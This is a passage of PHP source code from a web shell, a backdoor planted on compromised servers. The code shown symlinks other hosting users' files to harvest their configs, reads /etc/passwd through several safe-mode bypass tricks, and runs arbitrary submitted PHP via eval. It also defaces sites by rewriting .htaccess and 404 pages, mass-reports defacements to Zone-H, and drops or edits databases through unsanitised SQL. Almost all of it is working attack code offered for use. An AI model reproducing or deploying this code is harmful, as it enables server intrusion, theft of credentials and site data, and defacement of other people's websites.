{
$getpath = trim(dirname($_SERVER[\'SCRIPT_NAME\']) . PHP_EOL);
?>
<center><table><tr><td><a href="<?php echo $self; ?>?manually&script&symlinkserver"><font color="lime" size="4">| Do It Manually |</font></a></td>
<td><a href="<?php echo $self; ?>?automatic&script&symlinkserver"><font color="lime" size="4">| Do It Automatically |</font></a></td>
</tr></table></center>
<?php
if(isset($_REQUEST[\'manually\']))
{
if(!isset($_REQUEST[\'passwd\']))
{
?>
<center>
<form action="<?php echo $self; ?>" method="post">
<input type="hidden" name="manually">
<input type="hidden" name="script">
<input type="hidden" name="symlinkserver">
<textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
<input type="submit" value="Get Config" class="but">
</form>
</center>
<?php
}
else
{
$getetc = trim($_REQUEST[\'passwd\']);
mkdir("dhanushSPT");
chdir("dhanushSPT");
$myfile = fopen("test.txt","w");
fputs($myfile,$getetc);
fclose($myfile);
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=/dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
}
else if(isset($_REQUEST[\'automatic\']))
{
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir("dhanushST");
chdir("dhanushST");
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user[\'name\'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=/dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir("dhanushSPT");
chdir("dhanushSPT");
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(\':\',$uid)."
";
}
echo \'<br/>\';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=/dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
}
}
}
// Exploit Search
else if(isset($_GET["exploit"]))
{
if(!isset($_GET["rootexploit"]))
{
?>
<center>
<form action="<?php echo $self; ?>" method="get" target="_blank">
<input type="hidden" name="exploit">
<table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
<tr>
<td style="height:60px;">
<font size="4" color="lime">Select Website</font></td><td>
<p><select id="rootexploit" name="rootexploit" class="box">
<option value="exploit-db">Exploit-db</option>
<option value="packetstormsecurity">Packetstormsecurity</option>
<option value="exploitsearch">Exploitsearch</option>
<option value="shodanhq">Shodanhq</option>
</select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
<input type="submit" value="Search" class="but"></td></tr></table>
</form></center><br>
<?php
}
else
{
//exploit search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi(\'Linux\',$OSV))
{
$Lversion=substr($Lversion,0,6);
if($_GET[\'rootexploit\'] == "exploit-db")
{
header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
}
else if($_GET[\'rootexploit\'] == "packetstormsecurity")
{
header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
}
else if($_GET[\'rootexploit\'] == "exploitsearch")
{
header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
}
else if($_GET[\'rootexploit\'] == "shodanhq")
{
header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
}
}
else
{
$Lversion=substr($Lversion,0,3);
if($_GET[\'rootexploit\'] == "exploit-db")
{
header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
}
else if($_GET[\'rootexploit\'] == "packetstormsecurity")
{
header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
}
else if($_GET[\'rootexploit\'] == "exploitsearch")
{
header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
}
else if($_GET[\'rootexploit\'] == "shodanhq")
{
header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
}
}
//End of Exploit search
}
}
else if(isset($_REQUEST[\'404\']))
{
?>
<center><table><tr><td><a href="<?php echo $self; ?>?404&new"><font color="lime" size="4">| Set Your 404 Page |</font></a></td>
<td><a href="<?php echo $self; ?>?404&old"><font color="lime" size="4">| Set Specified 404 Page |</font></a></td>
</tr></table></center><br>
<?php
if(isset($_GET[\'old\']))
{
if(strlen($ind) != 0)
{
if($myfile = fopen(".htaccess", "a"))
{
fwrite($myfile, "ErrorDocument 404 /404.html
");
if($myfilee = fopen("404.html", "w+"))
{
fwrite($myfilee, base64_decode($ind));
fclose($myfilee);
header("Location:$self?set404");
ob_end_flush();
}
fclose($myfile);
}
else
{
header("Location:$self?cannotset404");
ob_end_flush();
}
}
else
echo "<center>Nothing Specified in the shell</center>";
}
else if(isset($_REQUEST[\'new\']))
{
if(isset($_POST[\'404page\']))
{
if($myfile = fopen(".htaccess", "a"))
{
fwrite($myfile, "ErrorDocument 404 /404.html
");
if($myfilee = fopen("404.html", "w+"))
{
fwrite($myfilee, $_POST[\'message\']);
}
header("Location:$self?set404");
ob_end_flush();
}
else
{
header("Location:$self?cannotset404");
ob_end_flush();
}
}
else
{
?>
<form method=post>
<center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
<input type="submit" name=404page value=" Save " class=but></center>
</br>
</form>
<?php
}
}
}
else if(isset($_POST["SendNowToZoneH"]))
{
$hacker = $_POST[\'defacer\'];
$method = $_POST[\'hackmode\'];
$neden = $_POST[\'reason\'];
$site = $_POST[\'domain\'];
if (empty($hacker))
{
die("<center><font color=red size=3>[-] You Must Fill the Attacker name !</font></center>");
}
elseif($method == "--------SELECT--------")
{
die("<center><font color=red size=3>[-] You Must Select The Method !</center>");
}
elseif($neden == "--------SELECT--------")
{
die("<center><font color=red size=3>[-] You Must Select The Reason</center>");
}
elseif(empty($site))
{
die("<center><font color=red size=3>[-] You Must Inter the Sites List !</center>");
}
$i = 0;
$sites = explode("
", $site);
echo "<pre class=ml1 style=\'margin-top:5px\'>";
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http")
{
$sites[$i] = "http://".$sites[$i];
}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "<font color=lime size=3>Site : ".$sites[$i]." Posted !</font><br>";
++$i;
}
echo "<font color=lime size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
}
// Bypass
else if (isset($_GET["bypass"]))
{
if(isset($_GET[\'copy\']))
{
if(@copy($_GET[\'copy\'],"test1.php"))
{
$fh=fopen("test1.php",\'r\');
echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
@fclose($fh);
unlink("test1.php");
}
}
else if(isset($_GET[\'imap\']))
{
$string = $_GET[\'imap\'];
echo "<textarea cols=120 rows=20 class=box readonly>";
$stream = imap_open($string, "", "");
$str = imap_body($stream, 1);
echo "</textarea>";
}
else if(isset($_GET[\'sql\']))
{
echo "<textarea cols=120 rows=20 class=box readonly>";
$file=$_GET[\'ssql\'];
$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
$mysql_files = explode(\':\', $mysql_files_str);
$sql = array (
"USE $mdb",
\'CREATE TEMPORARY TABLE \' . ($tbl = \'A\'.time ()) . \' (a LONGBLOB)\',
"LOAD DATA LOCAL INFILE \'$file\' INTO TABLE $tbl FIELDS "
. "TERMINATED BY \'__THIS_NEVER_HAPPENS__\' "
. "ESCAPED BY \'\' "
. "LINES TERMINATED BY \'__THIS_NEVER_HAPPENS__\'",
"SELECT a FROM $tbl LIMIT 1"
);
mysql_connect ($mhost, $muser, $mpass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "
" .
"REASON: " . mysql_error () . "
"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($q);
}
echo "</textarea>";
}
else if(isset($_GET[\'curl\']))
{
$ch=curl_init("file://" . $_GET[curl]);
curl_setopt($ch,CURLOPT_HEADERS,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$file_out=curl_exec($ch);
curl_close($ch);
echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
}
else if(isset($_GET[\'include\']))
{
if(file_exists($_GET[\'include\']))
{
echo "<textarea cols=120 rows=20 class=box readonly>";
@include($_GET[\'include\']);
echo "</textarea>";
}
else
echo "<br><center><font color=red size=3>Can\'t Read" . $_GET[\'include\'] . "</font></center>";
}
else if(isset($_GET[\'id\']))
{
echo "<textarea cols=120 rows=20 class=box readonly>";
for($uid=0;$uid<60000;$uid++)
{ //cat /etc/passwd
$ara = posix_getpwuid($uid);
if (!empty($ara))
{
while (list ($key, $val) = each($ara))
{
print "$val:";
}
print "
";
}
}
echo "</textarea>";
break;
}
else if(isset($_GET[\'tempname\']))
{
tempnam("/home/" . $_GET[\'tempname\']);
}
else if(isset($_GET[\'sym\']))
{
echo "<textarea cols=120 rows=20 class=box readonly>";
$fp = fopen("hack15.txt","w+");
fwrite($fp,"Php Hacker Was Here");
@unlink($flib);
$sym = "/home/" . $them . "/public_html/" . $k;
$link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
@symlink($sym, $link);
if ($k{0} == "/")
{
echo "<script> window.location = \'" . $flib . "\'</script>";
}
else
{
echo "<pre><xmp>";
echo readlink($flib) . "
";
echo "Filesize: " . linkinfo($flib) . "B
";
echo file_get_contents("http://" . $_SERVER[\'HTTP_HOST\'] . "/" . $folder . "/" . $flib);
echo "</textarea>";
}
}
else
{
?>
<table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;">
<tr>
<td align="center" colspan="2"><font color="#FF0000" size="3">Safe mode bypass</font></td>
</tr>
<tr>
<td align="center">
<p>Using copy() function</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
<td align="center">
<p>Using imap() function</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
</tr>
<tr>
<td align="center">
<p>Using sql() function</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
<td align="center">
<p>Using Curl() function</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
</tr>
<tr>
<td align="center">
<p>Bypass using include()</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
<td align="center">
<p>Using id() function</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
</tr>
<tr>
<td align="center">
<p>Using tempnam() function</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
<td align="center">
<p>Using symlink() function</p>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="bypass">
<input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
</form>
</td>
</tr>
</table>
</form>
<?php
}
}
else if (isset($_GET["phpc"]))
{
// If the comand was sent
if(isset($_POST[\'code\'])&& $_POST[\'code\'] && isset($_POST[\'intext\'])&& $_POST[\'intext\'] == "disp")
{
// FIlter Some Chars we dont need
?><br>
<textarea name="code" class="box" cols="120" rows="10"><?php
$code = str_replace("<?php","",$_POST[\'code\']);
$code = str_replace("<?","",$code);
$code = str_replace("?>","",$code);
// Evaluate PHP CoDE!
htmlspecialchars(eval($code));
?>
</textarea><?php
}
else if(isset($_POST[\'code\'])&& $_POST[\'code\'] && !isset($_POST[\'intext\']))
{
$code = str_replace("<?php","",$_POST[\'code\']);
$code = str_replace("<?","",$code);
$code = str_replace("?>","",$code);
// Evaluate PHP CoDE!
?><br><font color="red" size="4">Result of execution this PHP-code :</font><br><font color="lime" size="3"><?php htmlspecialchars(eval($code)); ?></font><?php
}
?>
<form method="POST">
<textarea name="code" class="box" cols="120" rows="10"><?php if(isset($_POST[\'code\'])) { echo $_POST[\'code\']; } else { ?>phpinfo();<?php } ?></textarea>
<br /><br />
<input name="submit" value="Execute This COde! " class="but" type="submit" />
<input type="checkbox" name="intext" value="disp"> <font color="lime" size="3">Display in Textarea</font>
</form>
<?php
}
else if(isset($_GET[\'database\']))
{ ?>
<form action=<?php echo $self; ?> method="POST">
<table style="width:90%;" cellpadding="4" align="center">
<tr>
<td colspan="2">Connect To Database</td>
</tr>
<tr>
<td>Server Address :</td>
<td><input type="text" class="box" name="server" value="localhost"></td>
<!--<td rowspan="4"><textarea name="query" cols="60" rows="7" class="box">SHOW DATABASE</textarea>-->
</tr>
<tr>
<td>Username :</td>
<td><input type="text" class="box" name="username" value="root"></td>
</tr>
<tr>
<td>Password:</td>
<td><input type="text" class="box" name="password" value=""></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value=" Connect " name="executeit" class="but"></td>
</tr>
</table>
</form>
<?php
}
// Execute Query
else if(isset($_POST["executeit"]))
{
if(isset($_POST[\'username\']) && isset($_POST[\'server\']))
{
$dbserver = $_POST[\'server\'];
$dbuser = $_POST[\'username\'];
$dbpass = $_POST[\'password\'];
setcookie("dbserver", $dbserver);
setcookie("dbuser", $dbuser);
setcookie("dbpass", $dbpass);
header("Location:$self?data");
}
}
else if(isset($_GET[\'data\']))
{
listdatabase();
}
else if(isset($_GET[\'viewdb\']))
{
listdatabase();
}
else if(isset($_GET[\'action\']) && isset($_GET[\'dbname\']))
{
if($_GET[\'action\'] == "createDB")
{
$dbname = $_GET[\'dbname\'];
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
mysql_query("create database $dbname",$mysqlHandle);
listdatabase();
}
if($_GET[\'action\'] == \'dropDB\')
{
$dbname = $_GET[\'dbname\'];
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
mysql_query("drop database $dbname",$mysqlHandle);
mysql_close($mysqlHandle);
listdatabase();
}
if($_GET[\'action\'] == \'listTables\')
{
listtable();
}
// Create Tables
if($_GET[\'action\'] == "createtable")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
mysql_query("CREATE TABLE $tablename ( no INT )");
listtable();
}
// Drop Tables
if($_GET[\'action\'] == "dropTable")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
mysql_query("drop table $tablename");
listtable();
}
// Empty Tables
if($_GET[\'action\'] == "empty")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
mysql_query("delete from $tablename");
listtable();
}
// Empty Tables
if($_GET[\'action\'] == "dropField")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
$fieldname = $_GET[\'fieldname\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr , $mysqlHandle );
listtable();
}
// View Table Schema
if($_GET[\'action\'] == "viewSchema")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
$pResult = mysql_query( "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
echo "<br><br><table align=center cellspacing=4 style=\'width:80%;\' border=1>";
echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
for( $i = 0; $i < $num; $i++ )
{
$field = mysql_fetch_array( $pResult );
echo "<tr>
";
echo "<td>".$field["Field"]."</td>
";
echo "<td>".$field["Type"]."</td>
";
echo "<td>".$field["Null"]."</td>
";
echo "<td>".$field["Key"]."</td>
";
echo "<td>".$field["Default"]."</td>
";
echo "<td>".$field["Extra"]."</td>
";
$fieldname = $field["Field"];
echo "<td><a href=\'$self?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname\' onClick=\"return confirm(\'Drop Field \'$fieldname\'?\')\">Drop</a></td>
";
echo "</tr>
";
}
echo "</table>";
echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
}
// Execute Query
if($_GET[\'action\'] == "executequery")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$result = mysql_query($_GET[\'executemyquery\']);
// results
echo "<html>
". strtoupper($_GET[\'executemyquery\']) . "<br>
<table border =\"1\">
";
$count = 0;
while ($row = mysql_fetch_assoc($result))
{
echo "<tr>
";
if ($count==0) // list column names
{
echo "<tr>
";
while($key = key($row))
{
echo "<td><b>" . $key . "</b></td>
";
next($row);
}
echo "</tr>
";
}
foreach($row as $r) // list content of column names
{
if ($r==\'\') $r = \'<font color=red>NULL</font>\';
echo "<td><font color=lime>" . $r . "</font></td>
";
}
echo "</tr>
";
$count++;
}
echo "</table>
<font color=lime size=3>" . $count . " rows returned.</font>
</html>";
echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
}
// View Table Data
if($_GET[\'action\'] == "viewdata")
{
global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
?>
<br><br>
<form>
<input type="hidden" value="<?php echo $_GET[\'dbname\']; ?>" name="dbname">
<input type="hidden" value="<?php echo $_GET[\'tablename\']; ?>" name="tablename">
<input type="hidden" value="executequery" name="action">
<table>
<tr>
<td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
</tr>
<tr>
<td><input type="submit" value="Execute" class="but"></td>
</tr>
</table>
</form>
<?php
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\') AND (`TABLE_NAME` = \'$tablename\') AND (`COLUMN_KEY` = \'PRI\');");
$row = mysql_fetch_array($sql);
$rowid = $row[\'COLUMN_NAME\'];
echo "<br><font size=4 color =lime>Data in Table</font><br>";
if( $tablename != "" )
echo "<font size=3 color=lime>$dbname > $tablename</font><br>";
else
echo "<font size=3 color=lime>$dbname</font><br>";
$queryStr = "";
$pag = 0;
$queryStr = stripslashes( $queryStr );
if( $queryStr == "" )
{
if(isset($_REQUEST[\'page\']))
{
$res = mysql_query("select * from $tablename");
$getres = mysql_num_rows($res);
$coun = ceil($getres/30);
if($_REQUEST[\'page\'] != 1)
$pag = $_REQUEST[\'page\'] * 30;
else
$pag = $_REQUEST[\'page\'] * 30;
$queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
$sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
$arrcount = 1;
$arrdata[$arrcount] = 0;
while($row = mysql_fetch_array($sql))
{
$arrdata[$arrcount] = $row[$rowid];
$arrcount++;
}
}
else
{
$queryStr = "SELECT * FROM $tablename LIMIT 0,30";
$sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
$arrcount = 1;
$arrdata[$arrcount] = 0;
while($row = mysql_fetch_array($sql))
{
$arrdata[$arrcount] = $row[$rowid];
$arrcount++;
}
}
if( $orderby != "" )
$queryStr .= " ORDER BY $orderby";
echo "<a href=\'$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename\'><font size=3>Schema</font></a>
";
}
$pResult = mysql_query($queryStr );
$fieldt = mysql_fetch_field($pResult);
$tablename = $fieldt->table;
$errMsg = mysql_error();
$GLOBALS[queryStr] = $queryStr;
if( $pResult == false )
{
echoQueryResult();
return;
}
if( $pResult == 1 )
{
$errMsg = "Success";
echoQueryResult();
return;
}
echo "<hr color=\'#1B1B1B\'>
";
$row = mysql_num_rows( $pResult );
$col = mysql_num_fields( $pResult );
if( $row == 0 )
{
echo "<font color=red size=3>No Data Exist!</font>";
return;
}
if( $rowperpage == "" ) $rowperpage = 30;
if( $page == "" ) $page = 0;
else $page--;
mysql_data_seek( $pResult, $page * $rowperpage );
echo "<table cellspacing=1 cellpadding=5 border=1 align=center>
";
echo "<tr>
";
for( $i = 0; $i < $col; $i++ )
{
$field = mysql_fetch_field( $pResult, $i );
echo "<th>";
if($action == "viewdata")
echo "<a href=\'$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."\'>".$field->name."</a>
";
else
echo $field->name."
";
echo "</th>
";
}
echo "<th colspan=2>Action</th>
";
echo "</tr>
";
$num=1;
$acount = 1;
for( $i = 0; $i < $rowperpage; $i++ )
{
$rowArray = mysql_fetch_row( $pResult );
if( $rowArray == false ) break;
echo "<tr>
";
$key = "";
for( $j = 0; $j < $col; $j++ )
{
$data = $rowArray[$j];
$field = mysql_fetch_field( $pResult, $j );
if( $field->primary_key == 1 )
$key .= "&" . $field->name . "=" . $data;
if( strlen( $data ) > 30 )
$data = substr( $data, 0, 30 ) . "...";
$data = htmlspecialchars( $data );
echo "<td>
";
echo "<font color=lime>$data</font>
";
echo "</td>
";
}
if(!is_numeric($arrdata[$acount]))
echo "<td colspan=2>No Key</td>
";
else
{
echo "<td><a href=\'$PHP_SELF?action=editData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename\'>Edit</a></td>
";
echo "<td><a href=\'$PHP_SELF?action=deleteData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename\' onClick=\"return confirm(\'Delete Row?\')\">Delete</a></td>
";
$acount++;
}
}
echo "</tr>
";
echo "</table>";
if($arrcount > 30)
{
$res = mysql_query("select * from $tablename");
$getres = mysql_num_rows($res);
$coun = ceil($getres/30);
echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style=\'width: 95px;\' name=page class=sbox>";
for($i=0;$i<$coun;$i++)
echo "<option value=$i>$i</option>";
echo "</select> <input type=submit value=Go class=but></form>";
echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
}
}
// Delete Table Data
if($_GET[\'action\'] == "deleteData")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\') AND (`TABLE_NAME` = \'$tablename\') AND (`COLUMN_KEY` = \'PRI\');");
$row = mysql_fetch_array($sql);
$row = $row[\'COLUMN_NAME\'];
$rowid = $_GET[$row];
mysql_query("delete from $tablename where $row = \'$rowid\'");
header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
}
// Edit Table Data
if($_GET[\'action\'] == "editData")
{
global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_GET[\'dbname\'];
$tablename = $_GET[\'tablename\'];
echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font color=red size=3>[ Log Out ]</font> </a></div>";
?>
<br><br>
<form action="<?php echo $self; ?>" method="post">
<input type="hidden" name="tablename" value="<?php echo $tablename; ?>">
<input type="hidden" name="action" value="editsubmitData">
<?php
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\') AND (`TABLE_NAME` = \'$tablename\') AND (`COLUMN_KEY` = \'PRI\');");
$row = mysql_fetch_array($sql);
$row = $row[\'COLUMN_NAME\'];
$rowid = $_GET[$row];
$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );
$key = "";
